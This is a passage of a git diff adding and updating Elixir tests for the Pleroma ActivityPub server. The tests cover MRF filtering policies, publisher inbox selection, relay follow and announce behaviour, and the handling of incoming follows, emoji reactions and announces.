@@ -251,6 +336,15 @@ defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicyTest do
refute filtered["icon"]
end
+
+ test "match with wildcard domain" do
+ Config.put([:mrf_simple, :avatar_removal], ["*.remote.instance"])
+
+ remote_user = build_remote_user()
+ {:ok, filtered} = SimplePolicy.filter(remote_user)
+
+ refute filtered["icon"]
+ end
end
describe "when :banner_removal" do
@@ -278,6 +372,15 @@ defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicyTest do
refute filtered["image"]
end
+
+ test "match with wildcard domain" do
+ Config.put([:mrf_simple, :banner_removal], ["*.remote.instance"])
+
+ remote_user = build_remote_user()
+ {:ok, filtered} = SimplePolicy.filter(remote_user)
+
+ refute filtered["image"]
+ end
end
defp build_local_message do
diff --git a/test/web/activity_pub/mrf/user_allowlist_policy_test.exs b/test/web/activity_pub/mrf/user_allowlist_policy_test.exs
index 6519e2398..72084c0fd 100644
--- a/test/web/activity_pub/mrf/user_allowlist_policy_test.exs
+++ b/test/web/activity_pub/mrf/user_allowlist_policy_test.exs
@@ -7,12 +7,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.UserAllowListPolicyTest do
alias Pleroma.Web.ActivityPub.MRF.UserAllowListPolicy
- setup do
- policy = Pleroma.Config.get([:mrf_user_allowlist]) || []
- on_exit(fn -> Pleroma.Config.put([:mrf_user_allowlist], policy) end)
-
- :ok
- end
+ clear_config([:mrf_user_allowlist, :localhost])
test "pass filter if allow list is empty" do
actor = insert(:user)
diff --git a/test/web/activity_pub/mrf/vocabulary_policy_test.exs b/test/web/activity_pub/mrf/vocabulary_policy_test.exs
new file mode 100644
index 000000000..38309f9f1
--- /dev/null
+++ b/test/web/activity_pub/mrf/vocabulary_policy_test.exs
@@ -0,0 +1,106 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.ActivityPub.MRF.VocabularyPolicyTest do
+ use Pleroma.DataCase
+
+ alias Pleroma.Web.ActivityPub.MRF.VocabularyPolicy
+
+ describe "accept" do
+ clear_config([:mrf_vocabulary, :accept])
+
+ test "it accepts based on parent activity type" do
+ Pleroma.Config.put([:mrf_vocabulary, :accept], ["Like"])
+
+ message = %{
+ "type" => "Like",
+ "object" => "whatever"
+ }
+
+ {:ok, ^message} = VocabularyPolicy.filter(message)
+ end
+
+ test "it accepts based on child object type" do
+ Pleroma.Config.put([:mrf_vocabulary, :accept], ["Create", "Note"])
+
+ message = %{
+ "type" => "Create",
+ "object" => %{
+ "type" => "Note",
+ "content" => "whatever"
+ }
+ }
+
+ {:ok, ^message} = VocabularyPolicy.filter(message)
+ end
+
+ test "it does not accept disallowed child objects" do
+ Pleroma.Config.put([:mrf_vocabulary, :accept], ["Create", "Note"])
+
+ message = %{
+ "type" => "Create",
+ "object" => %{
+ "type" => "Article",
+ "content" => "whatever"
+ }
+ }
+
+ {:reject, nil} = VocabularyPolicy.filter(message)
+ end
+
+ test "it does not accept disallowed parent types" do
+ Pleroma.Config.put([:mrf_vocabulary, :accept], ["Announce", "Note"])
+
+ message = %{
+ "type" => "Create",
+ "object" => %{
+ "type" => "Note",
+ "content" => "whatever"
+ }
+ }
+
+ {:reject, nil} = VocabularyPolicy.filter(message)
+ end
+ end
+
+ describe "reject" do
+ clear_config([:mrf_vocabulary, :reject])
+
+ test "it rejects based on parent activity type" do
+ Pleroma.Config.put([:mrf_vocabulary, :reject], ["Like"])
+
+ message = %{
+ "type" => "Like",
+ "object" => "whatever"
+ }
+
+ {:reject, nil} = VocabularyPolicy.filter(message)
+ end
+
+ test "it rejects based on child object type" do
+ Pleroma.Config.put([:mrf_vocabulary, :reject], ["Note"])
+
+ message = %{
+ "type" => "Create",
+ "object" => %{
+ "type" => "Note",
+ "content" => "whatever"
+ }
+ }
+
+ {:reject, nil} = VocabularyPolicy.filter(message)
+ end
+
+ test "it passes through objects that aren't disallowed" do
+ Pleroma.Config.put([:mrf_vocabulary, :reject], ["Like"])
+
+ message = %{
+ "type" => "Announce",
+ "object" => "whatever"
+ }
+
+ {:ok, ^message} = VocabularyPolicy.filter(message)
+ end
+ end
+end
diff --git a/test/web/activity_pub/publisher_test.exs b/test/web/activity_pub/publisher_test.exs
new file mode 100644
index 000000000..015af19ab
--- /dev/null
+++ b/test/web/activity_pub/publisher_test.exs
@@ -0,0 +1,349 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.ActivityPub.PublisherTest do
+ use Pleroma.Web.ConnCase
+
+ import ExUnit.CaptureLog
+ import Pleroma.Factory
+ import Tesla.Mock
+ import Mock
+
+ alias Pleroma.Activity
+ alias Pleroma.Instances
+ alias Pleroma.Object
+ alias Pleroma.Web.ActivityPub.Publisher
+ alias Pleroma.Web.CommonAPI
+
+ @as_public "https://www.w3.org/ns/activitystreams#Public"
+
+ setup do
+ mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
+ :ok
+ end
+
+ describe "gather_webfinger_links/1" do
+ test "it returns links" do
+ user = insert(:user)
+
+ expected_links = [
+ %{"href" => user.ap_id, "rel" => "self", "type" => "application/activity+json"},
+ %{
+ "href" => user.ap_id,
+ "rel" => "self",
+ "type" => "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\""
+ },
+ %{
+ "rel" => "http://ostatus.org/schema/1.0/subscribe",
+ "template" => "#{Pleroma.Web.base_url()}/ostatus_subscribe?acct={uri}"
+ }
+ ]
+
+ assert expected_links == Publisher.gather_webfinger_links(user)
+ end
+ end
+
+ describe "determine_inbox/2" do
+ test "it returns sharedInbox for messages involving as:Public in to" do
+ user =
+ insert(:user, %{
+ source_data: %{"endpoints" => %{"sharedInbox" => "http://example.com/inbox"}}
+ })
+
+ activity = %Activity{
+ data: %{"to" => [@as_public], "cc" => [user.follower_address]}
+ }
+
+ assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox"
+ end
+
+ test "it returns sharedInbox for messages involving as:Public in cc" do
+ user =
+ insert(:user, %{
+ source_data: %{"endpoints" => %{"sharedInbox" => "http://example.com/inbox"}}
+ })
+
+ activity = %Activity{
+ data: %{"cc" => [@as_public], "to" => [user.follower_address]}
+ }
+
+ assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox"
+ end
+
+ test "it returns sharedInbox for messages involving multiple recipients in to" do
+ user =
+ insert(:user, %{
+ source_data: %{"endpoints" => %{"sharedInbox" => "http://example.com/inbox"}}
+ })
+
+ user_two = insert(:user)
+ user_three = insert(:user)
+
+ activity = %Activity{
+ data: %{"cc" => [], "to" => [user.ap_id, user_two.ap_id, user_three.ap_id]}
+ }
+
+ assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox"
+ end
+
+ test "it returns sharedInbox for messages involving multiple recipients in cc" do
+ user =
+ insert(:user, %{
+ source_data: %{"endpoints" => %{"sharedInbox" => "http://example.com/inbox"}}
+ })
+
+ user_two = insert(:user)
+ user_three = insert(:user)
+
+ activity = %Activity{
+ data: %{"to" => [], "cc" => [user.ap_id, user_two.ap_id, user_three.ap_id]}
+ }
+
+ assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox"
+ end
+
+ test "it returns sharedInbox for messages involving multiple recipients in total" do
+ user =
+ insert(:user,
+ source_data: %{
+ "inbox" => "http://example.com/personal-inbox",
+ "endpoints" => %{"sharedInbox" => "http://example.com/inbox"}
+ }
+ )
+
+ user_two = insert(:user)
+
+ activity = %Activity{
+ data: %{"to" => [user_two.ap_id], "cc" => [user.ap_id]}
+ }
+
+ assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox"
+ end
+
+ test "it returns inbox for messages involving single recipients in total" do
+ user =
+ insert(:user,
+ source_data: %{
+ "inbox" => "http://example.com/personal-inbox",
+ "endpoints" => %{"sharedInbox" => "http://example.com/inbox"}
+ }
+ )
+
+ activity = %Activity{
+ data: %{"to" => [user.ap_id], "cc" => []}
+ }
+
+ assert Publisher.determine_inbox(activity, user) == "http://example.com/personal-inbox"
+ end
+ end
+
+ describe "publish_one/1" do
+ test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is not specified",
+ Instances,
+ [:passthrough],
+ [] do
+ actor = insert(:user)
+ inbox = "http://200.site/users/nick1/inbox"
+
+ assert {:ok, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})
+
+ assert called(Instances.set_reachable(inbox))
+ end
+
+ test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is set",
+ Instances,
+ [:passthrough],
+ [] do
+ actor = insert(:user)
+ inbox = "http://200.site/users/nick1/inbox"
+
+ assert {:ok, _} =
+ Publisher.publish_one(%{
+ inbox: inbox,
+ json: "{}",
+ actor: actor,
+ id: 1,
+ unreachable_since: NaiveDateTime.utc_now()
+ })
+
+ assert called(Instances.set_reachable(inbox))
+ end
+
+ test_with_mock "does NOT call `Instances.set_reachable` on successful federation if `unreachable_since` is nil",
+ Instances,
+ [:passthrough],
+ [] do
+ actor = insert(:user)
+ inbox = "http://200.site/users/nick1/inbox"
+
+ assert {:ok, _} =
+ Publisher.publish_one(%{
+ inbox: inbox,
+ json: "{}",
+ actor: actor,
+ id: 1,
+ unreachable_since: nil
+ })
+
+ refute called(Instances.set_reachable(inbox))
+ end
+
+ test_with_mock "calls `Instances.set_unreachable` on target inbox on non-2xx HTTP response code",
+ Instances,
+ [:passthrough],
+ [] do
+ actor = insert(:user)
+ inbox = "http://404.site/users/nick1/inbox"
+
+ assert {:error, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})
+
+ assert called(Instances.set_unreachable(inbox))
+ end
+
+ test_with_mock "it calls `Instances.set_unreachable` on target inbox on request error of any kind",
+ Instances,
+ [:passthrough],
+ [] do
+ actor = insert(:user)
+ inbox = "http://connrefused.site/users/nick1/inbox"
+
+ assert capture_log(fn ->
+ assert {:error, _} =
+ Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})
+ end) =~ "connrefused"
+
+ assert called(Instances.set_unreachable(inbox))
+ end
+
+ test_with_mock "does NOT call `Instances.set_unreachable` if target is reachable",
+ Instances,
+ [:passthrough],
+ [] do
+ actor = insert(:user)
+ inbox = "http://200.site/users/nick1/inbox"
+
+ assert {:ok, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})
+
+ refute called(Instances.set_unreachable(inbox))
+ end
+
+ test_with_mock "does NOT call `Instances.set_unreachable` if target instance has non-nil `unreachable_since`",
+ Instances,
+ [:passthrough],
+ [] do
+ actor = insert(:user)
+ inbox = "http://connrefused.site/users/nick1/inbox"
+
+ assert capture_log(fn ->
+ assert {:error, _} =
+ Publisher.publish_one(%{
+ inbox: inbox,
+ json: "{}",
+ actor: actor,
+ id: 1,
+ unreachable_since: NaiveDateTime.utc_now()
+ })
+ end) =~ "connrefused"
+
+ refute called(Instances.set_unreachable(inbox))
+ end
+ end
+
+ describe "publish/2" do
+ test_with_mock "publishes an activity with BCC to all relevant peers.",
+ Pleroma.Web.Federator.Publisher,
+ [:passthrough],
+ [] do
+ follower =
+ insert(:user,
+ local: false,
+ source_data: %{"inbox" => "https://domain.com/users/nick1/inbox"},
+ ap_enabled: true
+ )
+
+ actor = insert(:user, follower_address: follower.ap_id)
+ user = insert(:user)
+
+ {:ok, _follower_one} = Pleroma.User.follow(follower, actor)
+ actor = refresh_record(actor)
+
+ note_activity =
+ insert(:note_activity,
+ recipients: [follower.ap_id],
+ data_attrs: %{"bcc" => [user.ap_id]}
+ )
+
+ res = Publisher.publish(actor, note_activity)
+ assert res == :ok
+
+ assert called(
+ Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{
+ inbox: "https://domain.com/users/nick1/inbox",
+ actor_id: actor.id,
+ id: note_activity.data["id"]
+ })
+ )
+ end
+
+ test_with_mock "publishes a delete activity to peers who signed fetch requests to the create acitvity/object.",
+ Pleroma.Web.Federator.Publisher,
+ [:passthrough],
+ [] do
+ fetcher =
+ insert(:user,
+ local: false,
+ source_data: %{"inbox" => "https://domain.com/users/nick1/inbox"},
+ ap_enabled: true
+ )
+
+ another_fetcher =
+ insert(:user,
+ local: false,
+ source_data: %{"inbox" => "https://domain2.com/users/nick1/inbox"},
+ ap_enabled: true
+ )
+
+ actor = insert(:user)
+
+ note_activity = insert(:note_activity, user: actor)
+ object = Object.normalize(note_activity)
+
+ activity_path = String.trim_leading(note_activity.data["id"], Pleroma.Web.Endpoint.url())
+ object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url())
+
+ build_conn()
+ |> put_req_header("accept", "application/activity+json")
+ |> assign(:user, fetcher)
+ |> get(object_path)
+ |> json_response(200)
+
+ build_conn()
+ |> put_req_header("accept", "application/activity+json")
+ |> assign(:user, another_fetcher)
+ |> get(activity_path)
+ |> json_response(200)
+
+ {:ok, delete} = CommonAPI.delete(note_activity.id, actor)
+
+ res = Publisher.publish(actor, delete)
+ assert res == :ok
+
+ assert called(
+ Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{
+ inbox: "https://domain.com/users/nick1/inbox",
+ actor_id: actor.id,
+ id: delete.data["id"]
+ })
+ )
+
+ assert called(
+ Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{
+ inbox: "https://domain2.com/users/nick1/inbox",
+ actor_id: actor.id,
+ id: delete.data["id"]
+ })
+ )
+ end
+ end
+end
diff --git a/test/web/activity_pub/relay_test.exs b/test/web/activity_pub/relay_test.exs
index 21a63c493..98dc78f46 100644
--- a/test/web/activity_pub/relay_test.exs
+++ b/test/web/activity_pub/relay_test.exs
@@ -1,15 +1,125 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.RelayTest do
use Pleroma.DataCase
+ alias Pleroma.Activity
+ alias Pleroma.Object
+ alias Pleroma.User
+ alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.ActivityPub.Relay
+ import ExUnit.CaptureLog
+ import Pleroma.Factory
+ import Mock
+
test "gets an actor for the relay" do
user = Relay.get_actor()
+ assert user.ap_id == "#{Pleroma.Web.Endpoint.url()}/relay"
+ end
+
+ test "relay actor is invisible" do
+ user = Relay.get_actor()
+ assert User.invisible?(user)
+ end
+
+ describe "follow/1" do
+ test "returns errors when user not found" do
+ assert capture_log(fn ->
+ {:error, _} = Relay.follow("test-ap-id")
+ end) =~ "Could not decode user at fetch"
+ end
+
+ test "returns activity" do
+ user = insert(:user)
+ service_actor = Relay.get_actor()
+ assert {:ok, %Activity{} = activity} = Relay.follow(user.ap_id)
+ assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay"
+ assert user.ap_id in activity.recipients
+ assert activity.data["type"] == "Follow"
+ assert activity.data["actor"] == service_actor.ap_id
+ assert activity.data["object"] == user.ap_id
+ end
+ end
+
+ describe "unfollow/1" do
+ test "returns errors when user not found" do
+ assert capture_log(fn ->
+ {:error, _} = Relay.unfollow("test-ap-id")
+ end) =~ "Could not decode user at fetch"
+ end
+
+ test "returns activity" do
+ user = insert(:user)
+ service_actor = Relay.get_actor()
+ ActivityPub.follow(service_actor, user)
+ Pleroma.User.follow(service_actor, user)
+ assert "#{user.ap_id}/followers" in User.following(service_actor)
+ assert {:ok, %Activity{} = activity} = Relay.unfollow(user.ap_id)
+ assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay"
+ assert user.ap_id in activity.recipients
+ assert activity.data["type"] == "Undo"
+ assert activity.data["actor"] == service_actor.ap_id
+ assert activity.data["to"] == [user.ap_id]
+ refute "#{user.ap_id}/followers" in User.following(service_actor)
+ end
+ end
+
+ describe "publish/1" do
+ clear_config([:instance, :federating])
+
+ test "returns error when activity not `Create` type" do
+ activity = insert(:like_activity)
+ assert Relay.publish(activity) == {:error, "Not implemented"}
+ end
+
+ test "returns error when activity not public" do
+ activity = insert(:direct_note_activity)
+ assert Relay.publish(activity) == {:error, false}
+ end
+
+ test "returns error when object is unknown" do
+ activity =
+ insert(:note_activity,
+ data: %{
+ "type" => "Create",
+ "object" => "http://mastodon.example.org/eee/99541947525187367"
+ }
+ )
+
+ assert capture_log(fn ->
+ assert Relay.publish(activity) == {:error, nil}
+ end) =~ "[error] error: nil"
+ end
+
+ test_with_mock "returns announce activity and publish to federate",
+ Pleroma.Web.Federator,
+ [:passthrough],
+ [] do
+ Pleroma.Config.put([:instance, :federating], true)
+ service_actor = Relay.get_actor()
+ note = insert(:note_activity)
+ assert {:ok, %Activity{} = activity, %Object{} = obj} = Relay.publish(note)
+ assert activity.data["type"] == "Announce"
+ assert activity.data["actor"] == service_actor.ap_id
+ assert activity.data["object"] == obj.data["id"]
+ assert called(Pleroma.Web.Federator.publish(activity))
+ end
- assert user.ap_id =~ "/relay"
+ test_with_mock "returns announce activity and not publish to federate",
+ Pleroma.Web.Federator,
+ [:passthrough],
+ [] do
+ Pleroma.Config.put([:instance, :federating], false)
+ service_actor = Relay.get_actor()
+ note = insert(:note_activity)
+ assert {:ok, %Activity{} = activity, %Object{} = obj} = Relay.publish(note)
+ assert activity.data["type"] == "Announce"
+ assert activity.data["actor"] == service_actor.ap_id
+ assert activity.data["object"] == obj.data["id"]
+ refute called(Pleroma.Web.Federator.publish(activity))
+ end
end
end
diff --git a/test/web/activity_pub/transmogrifier/follow_handling_test.exs b/test/web/activity_pub/transmogrifier/follow_handling_test.exs
index 857d65564..1c88b05c2 100644
--- a/test/web/activity_pub/transmogrifier/follow_handling_test.exs
+++ b/test/web/activity_pub/transmogrifier/follow_handling_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.Transmogrifier.FollowHandlingTest do
@@ -19,6 +19,25 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.FollowHandlingTest do
end
describe "handle_incoming" do
+ test "it works for osada follow request" do
+ user = insert(:user)
+
+ data =
+ File.read!("test/fixtures/osada-follow-activity.json")
+ |> Poison.decode!()
+ |> Map.put("object", user.ap_id)
+
+ {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data)
+
+ assert data["actor"] == "https://apfed.club/channel/indio"
+ assert data["type"] == "Follow"
+ assert data["id"] == "https://apfed.club/follow/9"
+
+ activity = Repo.get(Activity, activity.id)
+ assert activity.data["state"] == "accept"
+ assert User.following?(User.get_cached_by_ap_id(data["actor"]), user)
+ end
+
test "it works for incoming follow requests" do
user = insert(:user)
@@ -39,7 +58,7 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.FollowHandlingTest do
end
test "with locked accounts, it does not create a follow or an accept" do
- user = insert(:user, info: %{locked: true})
+ user = insert(:user, locked: true)
data =
File.read!("test/fixtures/mastodon-follow-activity.json")
@@ -59,7 +78,7 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.FollowHandlingTest do
)
|> Repo.all()
- assert length(accepts) == 0
+ assert Enum.empty?(accepts)
end
test "it works for follow requests when you are already followed, creating a new accept activity" do
@@ -109,7 +128,7 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.FollowHandlingTest do
user = insert(:user)
{:ok, target} = User.get_or_fetch("http://mastodon.example.org/users/admin")
- {:ok, user} = User.block(user, target)
+ {:ok, _user_relationship} = User.block(user, target)
data =
File.read!("test/fixtures/mastodon-follow-activity.json")
diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs
index a1f5f6e36..5da358c43 100644
--- a/test/web/activity_pub/transmogrifier_test.exs
+++ b/test/web/activity_pub/transmogrifier_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
@@ -7,13 +7,12 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
alias Pleroma.Activity
alias Pleroma.Object
alias Pleroma.Object.Fetcher
- alias Pleroma.Repo
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.ActivityPub.Transmogrifier
+ alias Pleroma.Web.AdminAPI.AccountView
alias Pleroma.Web.CommonAPI
- alias Pleroma.Web.OStatus
- alias Pleroma.Web.Websub.WebsubClientSubscription
import Mock
import Pleroma.Factory
@@ -24,6 +23,8 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
:ok
end
+ clear_config([:instance, :max_remote_account_fields])
+
describe "handle_incoming" do
test "it ignores an incoming notice if we already have it" do
activity = insert(:note_activity)
@@ -38,6 +39,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert activity == returned_activity
end
+ @tag capture_log: true
test "it fetches replied-to activities if we don't have them" do
data =
File.read!("test/fixtures/mastodon-post-activity.json")
@@ -100,7 +102,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert capture_log(fn ->
{:ok, _returned_activity} = Transmogrifier.handle_incoming(data)
- end) =~ "[error] Couldn't fetch \"\"https://404.site/whatever\"\", error: nil"
+ end) =~ "[error] Couldn't fetch \"https://404.site/whatever\", error: nil"
end
test "it works for incoming notices" do
@@ -145,7 +147,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
user = User.get_cached_by_ap_id(object_data["actor"])
- assert user.info.note_count == 1
+ assert user.note_count == 1
end
test "it works for incoming notices with hashtags" do
@@ -174,6 +176,35 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
end)
end
+ test "it works for incoming listens" do
+ data = %{
+ "@context" => "https://www.w3.org/ns/activitystreams",
+ "to" => ["https://www.w3.org/ns/activitystreams#Public"],
+ "cc" => [],
+ "type" => "Listen",
+ "id" => "http://mastodon.example.org/users/admin/listens/1234/activity",
+ "actor" => "http://mastodon.example.org/users/admin",
+ "object" => %{
+ "type" => "Audio",
+ "id" => "http://mastodon.example.org/users/admin/listens/1234",
+ "attributedTo" => "http://mastodon.example.org/users/admin",
+ "title" => "lain radio episode 1",
+ "artist" => "lain",
+ "album" => "lain radio",
+ "length" => 180_000
+ }
+ }
+
+ {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data)
+
+ object = Object.normalize(activity)
+
+ assert object.data["title"] == "lain radio episode 1"
+ assert object.data["artist"] == "lain"
+ assert object.data["album"] == "lain radio"
+ assert object.data["length"] == 180_000
+ end
+
test "it rewrites Note votes to Answers and increments vote counters on question activities" do
user = insert(:user)
@@ -309,6 +340,80 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert data["object"] == activity.data["object"]
end
+ test "it works for incoming misskey likes, turning them into EmojiReactions" do
+ user = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "hello"})
+
+ data =
+ File.read!("test/fixtures/misskey-like.json")
+ |> Poison.decode!()
+ |> Map.put("object", activity.data["object"])
+
+ {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)
+
+ assert data["actor"] == data["actor"]
+ assert data["type"] == "EmojiReaction"
+ assert data["id"] == data["id"]
+ assert data["object"] == activity.data["object"]
+ assert data["content"] == "🍮"
+ end
+
+ test "it works for incoming misskey likes that contain unicode emojis, turning them into EmojiReactions" do
+ user = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "hello"})
+
+ data =
+ File.read!("test/fixtures/misskey-like.json")
+ |> Poison.decode!()
+ |> Map.put("object", activity.data["object"])
+ |> Map.put("_misskey_reaction", "⭐")
+
+ {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)
+
+ assert data["actor"] == data["actor"]
+ assert data["type"] == "EmojiReaction"
+ assert data["id"] == data["id"]
+ assert data["object"] == activity.data["object"]
+ assert data["content"] == "⭐"
+ end
+
+ test "it works for incoming emoji reactions" do
+ user = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "hello"})
+
+ data =
+ File.read!("test/fixtures/emoji-reaction.json")
+ |> Poison.decode!()
+ |> Map.put("object", activity.data["object"])
+
+ {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)
+
+ assert data["actor"] == "http://mastodon.example.org/users/admin"
+ assert data["type"] == "EmojiReaction"
+ assert data["id"] == "http://mastodon.example.org/users/admin#reactions/2"
+ assert data["object"] == activity.data["object"]
+ assert data["content"] == "👌"
+ end
+
+ test "it works for incoming emoji reaction undos" do
+ user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "hello"})
+ {:ok, reaction_activity, _object} = CommonAPI.react_with_emoji(activity.id, user, "👌")
+
+ data =
+ File.read!("test/fixtures/mastodon-undo-like.json")
+ |> Poison.decode!()
+ |> Map.put("object", reaction_activity.data["id"])
+ |> Map.put("actor", user.ap_id)
+
+ {:ok, activity} = Transmogrifier.handle_incoming(data)
+
+ assert activity.actor == user.ap_id
+ assert activity.data["id"] == data["id"]
+ assert activity.data["type"] == "Undo"
+ end
+
test "it returns an error for incoming unlikes wihout a like activity" do
user = insert(:user)
{:ok, activity} = CommonAPI.post(user, %{"status" => "leave a like pls"})
@@ -346,6 +451,31 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert data["object"]["id"] == "http://mastodon.example.org/users/admin#likes/2"
end
+ test "it works for incoming unlikes with an existing like activity and a compact object" do
+ user = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "leave a like pls"})
+
+ like_data =
+ File.read!("test/fixtures/mastodon-like.json")
+ |> Poison.decode!()
+ |> Map.put("object", activity.data["object"])
+
+ {:ok, %Activity{data: like_data, local: false}} = Transmogrifier.handle_incoming(like_data)
+
+ data =
+ File.read!("test/fixtures/mastodon-undo-like.json")
+ |> Poison.decode!()
+ |> Map.put("object", like_data["id"])
+ |> Map.put("actor", like_data["actor"])
+
+ {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)
+
+ assert data["actor"] == "http://mastodon.example.org/users/admin"
+ assert data["type"] == "Undo"
+ assert data["id"] == "http://mastodon.example.org/users/admin#likes/2/undo"
+ assert data["object"]["id"] == "http://mastodon.example.org/users/admin#likes/2"
+ end
+
test "it works for incoming announces" do
data = File.read!("test/fixtures/mastodon-announce.json") |> Poison.decode!()
@@ -385,6 +515,34 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert Activity.get_create_by_object_ap_id(data["object"]).id == activity.id
end
+ test "it works for incoming announces with an inlined activity" do
+ data =
+ File.read!("test/fixtures/mastodon-announce-private.json")
+ |> Poison.decode!()
+
+ {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)
+
+ assert data["actor"] == "http://mastodon.example.org/users/admin"
+ assert data["type"] == "Announce"
+
+ assert data["id"] ==
+ "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity"
+
+ object = Object.normalize(data["object"])
+
+ assert object.data["id"] == "http://mastodon.example.org/@admin/99541947525187368"
+ assert object.data["content"] == "this is a private toot"
+ end
+
+ @tag capture_log: true
+ test "it rejects incoming announces with an inlined activity from another origin" do
+ data =
+ File.read!("test/fixtures/bogus-mastodon-announce.json")
+ |> Poison.decode!()
+
+ assert :error = Transmogrifier.handle_incoming(data)
+ end
+
test "it does not clobber the addressing on announce activities" do
user = insert(:user)
{:ok, activity} = CommonAPI.post(user, %{"status" => "hey"})
@@ -450,6 +608,41 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert !is_nil(data["cc"])
end
+ test "it strips internal likes" do
+ data =
+ File.read!("test/fixtures/mastodon-post-activity.json")
+ |> Poison.decode!()
+
+ likes = %{
+ "first" =>
+ "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes?page=1",
+ "id" => "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes",
+ "totalItems" => 3,
+ "type" => "OrderedCollection"
+ }
+
+ object = Map.put(data["object"], "likes", likes)
+ data = Map.put(data, "object", object)
+
+ {:ok, %Activity{object: object}} = Transmogrifier.handle_incoming(data)
+
+ refute Map.has_key?(object.data, "likes")
+ end
+
+ test "it strips internal reactions" do
+ user = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "#cofe"})
+ {:ok, _, _} = CommonAPI.react_with_emoji(activity.id, user, "📢")
+
+ %{object: object} = Activity.get_by_id_with_object(activity.id)
+ assert Map.has_key?(object.data, "reactions")
+ assert Map.has_key?(object.data, "reaction_count")
+
+ object_data = Transmogrifier.strip_internal_fields(object.data)
+ refute Map.has_key?(object_data, "reactions")
+ refute Map.has_key?(object_data, "reaction_count")
+ end
+
test "it works for incoming update activities" do
data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!()
@@ -468,6 +661,8 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(update_data)
+ assert data["id"] == update_data["id"]
+
user = User.get_cached_by_ap_id(data["actor"])
assert user.name == "gargle"
@@ -478,7 +673,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
}
]
- assert user.info.banner["url"] == [
+ assert user.banner["url"] == [
%{
"href" =>
